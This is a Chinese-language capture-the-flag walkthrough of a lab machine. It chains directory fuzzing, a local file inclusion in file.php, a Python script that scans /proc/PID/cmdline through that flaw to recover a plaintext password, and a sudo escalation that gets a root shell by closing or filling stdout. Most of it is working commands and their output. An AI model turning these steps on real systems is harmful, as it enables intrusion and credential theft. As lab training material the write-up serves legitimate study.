1.信息收集
gobuster
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| ☁ ~ gobuster dir -u http://192.168.43.201 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,zip =============================================================== Gobuster v3.8 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.43.201 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.8 [+] Extensions: html,txt,zip,php [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /index.html (Status: 200) [Size: 615] /file.php (Status: 500) [Size: 0]
|
ffuf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| ☁ ~ ffuf -u http://192.168.43.201/file.php\?FUZZ\=/etc/passwd -w /usr/share/wordlists/dirb/common.txt -fs 0
/'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/
v2.1.0-dev ________________________________________________
:: Method : GET :: URL : http://192.168.43.201/file.php?FUZZ=/etc/passwd :: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response size: 0 ________________________________________________
file [Status: 200, Size: 1394, Words: 13, Lines: 27, Duration: 37ms]
|
https://www.doubao.com/thread/w2d78f4eb7cbde317 ffuf介绍
或者使用wfuzz
1 2
| wfuzz -z file,/usr/share/wordlists/dirb/common.txt -hh 0 --hc 404,403 -t 20 -d 0.1 "http://192.168.43.201/file.php?FUZZ=/etc/passwd"
|
LFI (本地文件包含) 验证:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| curl http://192.168.43.201/file.php\?file\=/etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin messagebus:x:104:110::/nonexistent:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin welcome:x:1000:1000:,,,:/home/welcome:/bin/bash
|
发现welcome用户
1 2
| curl -l http://192.168.43.201/file.php\?file\=/home/welcome/user.txt flag{user-210f652e7e3b7e7359e523ef04e96295}
|
2.获取用户密码
2.1方法一
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| import requests
url = "http://192.168.43.201/file.php"
print("[*] Brute-forcing /proc/PID/cmdline to find hidden processes...")
for pid in range(1, 3001):
file_path = f"/proc/{pid}/cmdline"
params = {'file': file_path}
try: r = requests.get(url, params=params, timeout=1)
if len(r.content) > 0:
cmd = r.content.replace(b'\x00', b' ').decode('utf-8', errors='ignore')
useless = ["/sbin/init", "systemd", "kworker", "scsi", "usb", "xfs", "ext4"]
if not any(x in cmd for x in useless):
print(f"[PID {pid}] {cmd}") except Exception as e: pass
|
[!NOTE] 代码整体功能解释
这段代码是利用 LFI(本地文件包含)漏洞,扫描 Linux 服务器的隐藏进程,核心原理是:
- Linux 系统的
/proc是一个虚拟文件系统,其中/proc/[PID]/cmdline文件会存储对应 PID 进程的启动命令行参数(比如进程是怎么启动的、带了什么参数);
- 目标
fi1e.php存在 LFI 漏洞(可通过file参数包含任意本地文件);
- 代码通过遍历 PID(1 到 3000),构造
/proc/PID/cmdline路径,利用 LFI 漏洞读取这些文件,过滤掉常见系统进程后,显示可能的隐藏 / 恶意进程(比如攻击者植入的后门进程)。
https://www.doubao.com/thread/wc855adec2cf23385
[!Success] Title
关键模块详解
/proc/PID/cmdline的作用:Linux 的/proc目录是 “进程信息虚拟目录”,每个运行的进程对应一个以 PID 命名的子目录,其中cmdline文件记录了进程的启动命令(比如/usr/bin/nginx -c /etc/nginx/nginx.conf)。
replace(b'\x00', b' ')的原因:/proc/PID/cmdline中,进程的命令和参数是用 ** 空字符(\x00)** 分隔的(比如/bin/bash\x00-c\x00echo hello),直接显示会有乱码,所以替换为空格方便阅读。
运行结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| [*] Brute-forcing /proc/PID/cmdline to find hidden processes... [PID 328] /usr/sbin/cron -f [PID 330] service --user welcome --password 6WXqj9Vc2tdXQ3TN0z54 --host localhost --port 8080 infinity [PID 335] /usr/sbin/rsyslogd -n -iNONE [PID 343] /sbin/dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3.leases -I -df /var/lib/dhcp/dhclient6.enp0s3.leases enp0s3 [PID 345] /usr/sbin/rsyslogd -n -iNONE [PID 346] /usr/sbin/rsyslogd -n -iNONE [PID 347] /usr/sbin/rsyslogd -n -iNONE [PID 354] /sbin/agetty -o -p -- \u --noclear tty1 linux [PID 378] sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups [PID 421] /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal [PID 434] /usr/sbin/apache2 -k start [PID 438] /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal [PID 500] /usr/sbin/apache2 -k start [PID 583] /usr/sbin/apache2 -k start [PID 586] /usr/sbin/apache2 -k start [PID 591] /usr/sbin/apache2 -k start [PID 596] /usr/sbin/apache2 -k start [PID 644] /usr/sbin/apache2 -k start [PID 647] /usr/sbin/apache2 -k start [PID 652] /usr/sbin/apache2 -k start [PID 653] /usr/sbin/apache2 -k start [PID 656] /usr/sbin/apache2 -k start
|
user:welcome pass: 6WXqj9Vc2tdXQ3TN0z54
2.2方法二
利用burp

1 2 3 4 5 6 7 8 9 10 11 12
| GET /file.php?file=../../../../proc/§1§/cmdline HTTP/1.1 Host: 192.168.43.201 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: metabase.DEVICE=4f1a458f-da94-4203-b012-2fda8e9ba776; _ga=GA1.1.653680607.1768373507; metabase.TIMEOUT=alive; metabase.SESSION=4cb61d11-f4cc-463c-89b2-97063ce5f03b Upgrade-Insecure-Requests: 1 If-Modified-Since: Fri, 16 Jan 2026 23:50:00 GMT If-None-Match: "267-64889ffd754bc-gzip" Priority: u=0, i
|
payload

结果:

3.提权
sudo -l
1 2 3 4 5 6 7
| welcome@114:~$ sudo -l Matching Defaults entries for welcome on 114: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User welcome may run the following commands on 114: (ALL) NOPASSWD: /opt/read.sh (ALL) NOPASSWD: /opt/short.sh
|
1 2 3 4 5 6 7 8 9 10
| welcome@114:~$ cat /opt/read.sh
echo "Input the flag:" if head -1 | grep -q "$(< /root/root.txt)" then echo "Y" else echo "N" fi
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| welcome@114:~$ cat /opt/short.sh
PATH=/usr/bin My_guess=$RANDOM
echo "This is script logic" cat << EOF if [ "$1" != "$My_guess" ] ;then echo "Nop"; else bash -i; fi EOF
[ "$1" != "$My_guess" ] && echo "Nop" || bash -i
|
提权方法一
一种群主提供的方法
1
| sudo /opt/short.sh '1' >&-
|
这里的核心在于末尾的 >&-。在 Linux Shell 中, >&- 的意思是 关闭标准输出 (Close Standard Output / STDOUT)。
/opt/short.sh 的最后一行代码:
1
| [ "$1" != "$My_guess" ] && echo "Nop" || bash -i
|
这是一个典型的 A && B || C 逻辑结构:
- A: [ “1”!=”my_guess” ](判断猜测是否错误)
- B: echo “Nop”(输出失败提示)
- C: bash -i(开启 Root Shell)
正常情况(不加 >&-):
- 你输入 ‘1’,随机数是(例如)24543。
- A 判断成立(不相等)。
- 执行 B(echo “Nop”)。echo 成功把 “Nop” 打印到屏幕上,返回状态码 0 (Success)。
- 因为 B 成功了,根据 && … || 的逻辑,C(bash -i)被跳过。
- 脚本结束。
加了 >&-:
- 你输入 ‘1’,随机数是 24543。
- A 判断成立。
- 执行 B(echo “Nop”)。
- 关键点:此时标准输出(STDOUT)已经被你关闭了。
- echo 尝试往一个已关闭的文件描述符里写字。
- echo 报错失败!(虽然你看不到报错,因为输出关了,但它的返回状态码变成了 1 或其他非零值)。
- 因为 B 失败了,Shell 会继续寻找下一个逻辑分支。
- 逻辑变成了: A (真) && B (失败) || C 。
- 触发 || 分支,执行 C ( bash -i
- Boom! Root Shell 启动!
标准输出关掉了,需要恢复完整shell
执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| welcome@114:~$ sudo /opt/short.sh '1' >&- /opt/short.sh: line 6: echo: write error: Bad file descriptor cat: write error: Bad file descriptor /opt/short.sh: line 15: echo: write error: Bad file descriptor root@114:/home/welcome# id id: write error: Bad file descriptor root@114:/home/welcome# /bin/bash -i >&2 2>&2 root@114:/home/welcome# id uid=0(root) gid=0(root) groups=0(root) root@114:/home/welcome# ls user.txt root@114:/home/welcome# cd /root root@114:~# ls 114rrootpass.txt root.txt root@114:~# cat root.txt flag{root-c3dbe270140775bb9fc6eaa2559f914f} root@114:~# cat 114rrootpass.txt 6aq56zxVseLt7oApVBc1
|
==另一种重定向到 /dev/full 成功提权==
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| welcome@114:~$ sudo /opt/short.sh 0 >/dev/full
/opt/short.sh: line 6: echo: write error: No space left on device
cat: write error: No space left on device
/opt/short.sh: line 15: echo: write error: No space left on device
root@114:/home/welcome# ls
ls: write error: No space left on device
root@114:/home/welcome# id
id: write error: No space left on device
root@114:/home/welcome# exec 1>/dev/tty
root@114:/home/welcome# ls
exp.sh user.txt
|
提权方法二
写爆破脚本撞大运拿shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| #!/bin/bash
stty sane
echo "[-] 正在启动爆破..."
echo "[-] 过滤规则:屏蔽 'Nop' 和脚本逻辑文本"
echo "[-] 状态提示:当屏幕停止滚动,或出现 '#' 提示符时,说明已拿到 Root Shell!"
echo "[-] 注意:如果看起来卡住了,请尝试直接输入 'id' 并回车。"
echo "=========================================================="
for i in {0..33000}; do
sudo /opt/short.sh $i 2>/dev/null | grep --line-buffered -v "Nop\|script
logic\|if \["
done
|